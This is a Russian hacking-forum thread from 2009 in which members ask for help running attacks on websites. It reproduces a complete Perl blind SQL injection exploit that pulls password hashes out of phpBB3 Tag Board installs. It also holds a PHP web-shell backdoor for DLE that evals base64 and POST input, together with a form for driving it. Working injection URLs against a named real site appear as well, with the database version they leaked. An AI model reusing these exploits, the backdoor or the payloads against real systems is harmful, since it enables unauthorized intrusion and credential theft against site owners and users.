ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #10931  
Старый 23.12.2009, 14:56
DeluxeS
Участник форума
Регистрация: 01.08.2009
Сообщений: 183
Провел на форуме:
1483264

Репутация: 131
По умолчанию

Цитата:
Сообщение от 6oT  
Ребята помогите плиз!Кароче у меня есть эксплоит на phpBB3 я его запуская а там где MD5 : пусто что делать? или это форум пропатчен?
Сплойт выложи
 
Ответить с цитированием

  #10932  
Старый 23.12.2009, 15:04
6oT
Новичок
Регистрация: 22.12.2009
Сообщений: 3
Провел на форуме:
30332

Репутация: 0
По умолчанию

Код:
#!/Perl/bin/perl
# ---------------------------------------------------------------
# phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit  
# by athos - staker[at]hotmail[dot]it
# http://bx67212.netsons.org/forum/viewforum.php?f=3
# ---------------------------------------------------------------
# Note: Works regardless PHP.ini settings!
# Thanks meh also know as cHoBi
# ---------------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($hash,$time1,$time2);

my @chars = (48..57, 97..102); 
my $http  = new LWP::UserAgent;

my $host  = shift;
my $table = shift;
my $myid  = shift or &usage;


sub injection
{
    my ($sub,$char) = @_;
    
    return "/tag_board.php?mode=controlpanel&action=delete&id=".
           "1+and+(select+if((ascii(substring(user_password,${sub},1)".
           ")=${char}),benchmark(230000000,char(0)),0)+from+${table}_us".
           "ers+where+user_id=${myid})--";
}


sub usage
{
    print STDOUT "Usage: perl $0 [host] [table_prefix] [user_id]\n";
    print STDOUT "Howto: perl $0 http://localhost/phpBB phpbb 2\n";
    print STDOUT "by athos - staker[at]hotmail[dot]it\n";
    exit;
}


syswrite(STDOUT,'Hash MD5: ');

for my $i(1..33)
{
    for my $j(0..16)
    {
        $time1 = time();

        $http->get($host.injection($i,$chars[$j]));
        
        $time2 = time();

        if($time2 - $time1 > 6)
        {
            syswrite(STDOUT,chr($chars[$j]));
            $hash .= chr($chars[$j]); 
            last;
        }
        
        if($i == 1 && length $hash < 0)
        {
            syswrite(STDOUT,"Exploit Failed!\n");
            exit;
        } 
    }
}

# milw0rm.com [2008-12-08]
Так же есть ещё и на php но там я незнаю как запустить !
А на perle оно думает потом выдаёт MD5 : и все!

Последний раз редактировалось 6oT; 23.12.2009 в 15:32..
 
Ответить с цитированием

  #10933  
Старый 23.12.2009, 16:46
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию

Есть сайт на DLE 8.2. Под эту версию двига нашёл эксплойт.
PHP код:
if($_GET['wert']==''){  
require_once 
ROOT_DIR.'/language/'.$selected_language.'/adminpanel.lng';  
$config['charset'] = ($lang['charset'] != '') ? $lang['charset'] : $config['charset'];  
@
header("HTTP/1.0 200 OK");  
@
header("HTTP/1.1 200 OK");  
@
header("Cache-Control: no-cache, must-revalidate, max-age=0");  
@
header("Expires: 0");  
@
header("Pragma: no-cache");  
@
header("Content-type: text/css; charset=".$config['charset']);  
$data = @file_get_contents("http://www.dle-news.ru/extras/updates.php?version_id=".$_REQUEST['versionid']."&key=".$config['key']);  
if (!
strlen($data)) echo $lang['no_update']; else echo $data;  
}else{  
$file=(ROOT_DIR."/engine/classes/mysql.class.php");  
if(
file_exists($file)){ @require($file); $x.="mysql.class.php - ok<br />";}  
$file=(ROOT_DIR."/engine/data/dbconfig.php");  
if(
file_exists($file)){ @require($file); $x.="dbconfig.php - ok<br />";}  
$file=(ROOT_DIR."/engine/data/config.php");  
if(
file_exists($file)){ @require($file); $x.="config.php - ok<br />";}  
eval(
base64_decode($_GET['user_id']));  
echo <<<
HTML  
<HTML><body><form action="" method="post">  
<
center><textarea name="text" rows="10" cols="100"></textarea>  
<
br /><input type="submit" value="Canoinoaaoe"/></center></form></body></HTML>  
HTML;  
if(
$_POST['text']!=''){eval(stripcslashes($_POST['text']));  
}} 
Только вот как его применить?
Пробовал создавал форуму.
PHP код:
<form method=post action="http://site.ru/engine/ajax/updates.php?wert=go" >
<
input type=text name=text>
<
input type=submit value=Отвправить></form
Помогите пожалуйста разобраться
 
Ответить с цитированием

  #10934  
Старый 23.12.2009, 17:00
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

разбирался со скриптом от Пашкелы и Электа для работы с SQLinj, возник вопросс перловским скриптом Электа:
делая запрос: c:\mysql\public> c:\mysql\public\mssql_base_dump.pl -u "http://sait.com/section?php/section_id=20 ' " -w 3
после этого у меня тупо открывается текстовый файл mssql_base_dump, может кто сталкивался с такой проблемой?
 
Ответить с цитированием

  #10935  
Старый 23.12.2009, 17:17
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Код:
c:\mysql\public> c:\perl\bin\perl c:\mysql\public\mssql_base_dump.pl -u
 
Ответить с цитированием

  #10936  
Старый 23.12.2009, 22:14
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

Цитата:
http://pult.com.ua/tv.php?id=14558&world=0+and+2=1+union+select+1,2,3 ,4,5,6--
пробовал и с подзапросами и без...ошибка все равно остается...
 
Ответить с цитированием

  #10937  
Старый 23.12.2009, 22:41
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

Цитата:
Сообщение от jecka3000  
пробовал и с подзапросами и без...ошибка все равно остается...
http://pult.com.ua/tv.php?id=14558&world=0+and+extractvalue(1,concat( 0x5c,(select+version())))--+

5.1.35-log
 
Ответить с цитированием

  #10938  
Старый 24.12.2009, 02:10
DeluxeS
Участник форума
Регистрация: 01.08.2009
Сообщений: 183
Провел на форуме:
1483264

Репутация: 131
По умолчанию

Из за чего возникает ошибка:
Цитата:
Warning: include(Array) [function.include]: failed to open stream: No such file or directory in ../../../..
Запрос:
Цитата:
script.php?b[]=64.txt
И как от неё избавиться?
 
Ответить с цитированием

  #10939  
Старый 24.12.2009, 02:53
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Цитата:
Сообщение от DeluxeS  
Из за чего возникает ошибка:

Запрос:

И как от неё избавиться?

приемные данные не фильтруются. Скрипт, как я понял, передает открыть сразу массив файлов, что невозможно.

Либо просто убери ошибки, либо фильтруй. Разумеется, 2ое лучше.
 
Ответить с цитированием

  #10940  
Старый 24.12.2009, 12:48
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от DeluxeS  
Из за чего возникает ошибка:

Запрос:

И как от неё избавиться?
Скрипт ждёт от тебя строку, а ты ему массив передаёшь.

Попробуй так: script.php?b=64.txt
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ